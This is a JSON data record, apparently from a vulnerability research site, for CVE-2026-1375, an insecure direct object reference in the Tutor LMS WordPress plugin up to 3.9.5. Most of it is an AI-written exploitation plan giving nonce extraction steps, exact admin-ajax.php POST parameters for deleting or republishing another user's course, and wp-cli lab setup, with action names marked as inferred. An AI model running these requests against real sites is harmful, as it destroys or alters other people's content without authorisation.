[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fszvBFTSXKyAjE-KdNN7s3wYX4to91NMVDNIaIwuR-G0":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":22,"research_verified":23,"research_rounds_completed":24,"research_plan":25,"research_summary":9,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":9,"research_model_used":26,"research_started_at":27,"research_completed_at":28,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":23,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":23,"source_links":29},"CVE-2026-1375","tutor-lms-insecure-direct-object-reference-to-authenticated-instructor-arbitrary-course-modification-and-deletion","Tutor LMS \u003C= 3.9.5 - Insecure Direct Object Reference to Authenticated (Instructor+) Arbitrary Course Modification and Deletion","The Tutor LMS – eLearning and online course solution plugin for WordPress is vulnerable to Insecure Direct Object References (IDOR) in all versions up to, and including, 3.9.5. This is due to missing object-level authorization checks in the `course_list_bulk_action()`, `bulk_delete_course()`, and `update_course_status()` functions. This makes it possible for authenticated attackers, with Tutor Instructor-level access and above, to modify or delete arbitrary courses they do not own by manipulating course IDs in bulk action requests.","tutor",null,"\u003C=3.9.5","3.9.6","high",8.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:H\u002FA:H","Authorization Bypass Through User-Controlled Key","2026-02-02 18:41:05","2026-02-03 07:31:25",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4e95b32b-c050-41eb-8fce-461257420eb6?source=api-prod",1,[],"researched",false,3,"# Exploitation Research Plan - CVE-2026-1375 (Tutor LMS IDOR)\n\n## 1. Vulnerability Summary\nThe **Tutor LMS** plugin (\u003C= 3.9.5) contains an Insecure Direct Object Reference (IDOR) vulnerability within its course management logic. Specifically, the functions `course_list_bulk_action()`, `bulk_delete_course()`, and `update_course_status()` fail to perform object-level authorization checks. While these functions verify that the user has the general capability to manage courses (e.g., `tutor_instructor`), they do not verify if the specific course IDs being modified or deleted actually belong to the authenticated user. This allows an authenticated Instructor to modify or delete courses authored by any other user, including Administrators.\n\n## 2. Attack Vector Analysis\n*   **Endpoints:** \n    *   `wp-admin\u002Fadmin-ajax.php` (Primary suspect for dashboard actions)\n    *   Instructor Dashboard Frontend (often uses AJAX or POST to the current page)\n*   **Vulnerable Actions (AJAX\u002FPOST):**\n    *   `tutor_course_list_bulk_action` (inferred action name)\n    *   `tutor_update_course_status` (inferred action name)\n*   **Payload Parameters:**\n    *   `course_ids[]` or `course_id`: The ID of the target course(s) to be modified or deleted.\n    *   `bulk_action`: The action to perform (e.g., `delete`, `trash`, `publish`, `draft`).\n    *   `status`: The target status for `update_course_status`.\n*   **Authentication:** Authenticated user with at least `Instructor` role.\n*   **Preconditions:** At least one course must exist that is NOT owned by the attacker (e.g., an Admin-created course).\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** The user triggers a bulk action or status change from the Instructor Dashboard or Admin Course list.\n2.  **Hook Registration:** The plugin registers AJAX handlers:\n    ```php\n    add_action('wp_ajax_tutor_course_list_bulk_action', 'course_list_bulk_action');\n    add_action('wp_ajax_tutor_update_course_status', 'update_course_status');\n    ```\n3.  **Vulnerable Logic (`course_list_bulk_action` \u002F `bulk_delete_course`):**\n    *   The function retrieves `$_POST['course_ids']`.\n    *   It checks `current_user_can('tutor_instructor')` (Capability check).\n    *   It checks `wp_verify_nonce()` (CSRF check).\n    *   **The Bug:** It iterates through the IDs and calls `wp_delete_post($id)` or `wp_trash_post($id)` without checking if `get_post_field('post_author', $id) == get_current_user_id()`.\n4.  **Vulnerable Logic (`update_course_status`):**\n    *   The function retrieves `$_POST['course_id']` and `$_POST['status']`.\n    *   It updates the post status via `wp_update_post()` or `update_post_meta()` without verifying ownership.\n\n## 4. Nonce Acquisition Strategy\nTutor LMS typically localizes nonces for the instructor dashboard in a global JavaScript object.\n\n1.  **Identify Trigger:** The \"Instructor Dashboard\" page (usually slug `\u002Fdashboard\u002F` or `\u002Finstructor-dashboard\u002F`) contains the course management interface.\n2.  **Setup Page:** \n    *   `wp post create --post_type=page --post_title=\"Dashboard\" --post_status=publish --post_content='[tutor_dashboard]'`\n3.  **Extraction via Browser:**\n    *   Navigate to the dashboard as the Instructor user.\n    *   The nonce is likely located in the `window.tutor_get_conf` or `window.tutor_admin_data` object.\n    *   **JS Command:** `browser_eval(\"window.tutor_get_conf?.nonce\")` or `browser_eval(\"window.tutor_admin_data?.nonce\")`.\n    *   *Note:* In some versions, the bulk action nonce might specifically be `tutor_nonce`.\n\n## 5. Exploitation Strategy\n\n### Phase 1: Bulk Deletion (IDOR)\n*   **Target:** Delete\u002FTrash a course owned by the Administrator (ID: `TARGET_COURSE_ID`).\n*   **Tool:** `http_request`\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Parameters:**\n    *   `action`: `tutor_course_list_bulk_action` (verify name in source)\n    *   `course_ids[]`: `[TARGET_COURSE_ID]`\n    *   `bulk_action`: `delete` (or `trash`)\n    *   `_wpnonce`: `[EXTRACTED_NONCE]`\n\n### Phase 2: Arbitrary Status Modification\n*   **Target:** Change an Admin course from `pending` or `draft` to `publish`.\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Parameters:**\n    *   `action`: `tutor_update_course_status` (verify name in source)\n    *   `course_id`: `[TARGET_COURSE_ID]`\n    *   `status`: `publish`\n    *   `_wpnonce`: `[EXTRACTED_NONCE]`\n\n## 6. Test Data Setup\n1.  **Create Admin Course:**\n    *   `wp post create --post_type=courses --post_title=\"Admin Secret Course\" --post_status=publish --post_author=1`\n    *   *Save the resulting ID as `TARGET_COURSE_ID`.*\n2.  **Create Instructor User:**\n    *   `wp user create attacker attacker@example.com --role=tutor_instructor --user_pass=password123`\n3.  **Ensure Tutor LMS Roles are active:**\n    *   `wp tutor tools re-install-roles` (if necessary).\n\n## 7. Expected Results\n*   **Bulk Deletion:** The server returns a success response (likely JSON `{\"success\": true}`). The course with `TARGET_COURSE_ID` should no longer appear in the active courses list.\n*   **Status Modification:** The server returns success. The course status in the database changes to the specified value.\n\n## 8. Verification Steps\n1.  **Verify Deletion:**\n    *   `wp post get [TARGET_COURSE_ID] --field=post_status`\n    *   If status is `trash` or the command returns an error (if `delete` was used), the exploit worked.\n2.  **Verify Ownership Bypass:**\n    *   `wp post get [TARGET_COURSE_ID] --field=post_author`\n    *   Confirm the author is still `1` (Admin), proving an Instructor modified\u002Fdeleted a course they do not own.\n\n## 9. Alternative Approaches\n*   **Dashboard Form Submission:** If the AJAX endpoint is restricted, attempt to find a standard POST handler in `wp-admin\u002Fadmin.php` or `admin-post.php` used by the Instructor Dashboard's bulk action menu.\n*   **Parameter variations:** Check if the plugin accepts `course_id` (singular) instead of `course_ids[]` for some handlers.\n*   **Direct Function Call via Admin Dashboard:** If the Instructor has access to `wp-admin`, navigate to `\u002Fwp-admin\u002Fedit.php?post_type=courses` and attempt the bulk action there while intercepting the request to ensure the `TARGET_COURSE_ID` is injected.","gemini-3-flash-preview","2026-04-27 16:54:13","2026-04-27 16:56:12",{"type":30,"vulnerable_version":31,"fixed_version":11,"vulnerable_browse":32,"vulnerable_zip":33,"fixed_browse":34,"fixed_zip":35,"all_tags":36},"plugin","3.9.5","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.5","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.5.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags\u002F3.9.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Ftutor.3.9.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftutor\u002Ftags"]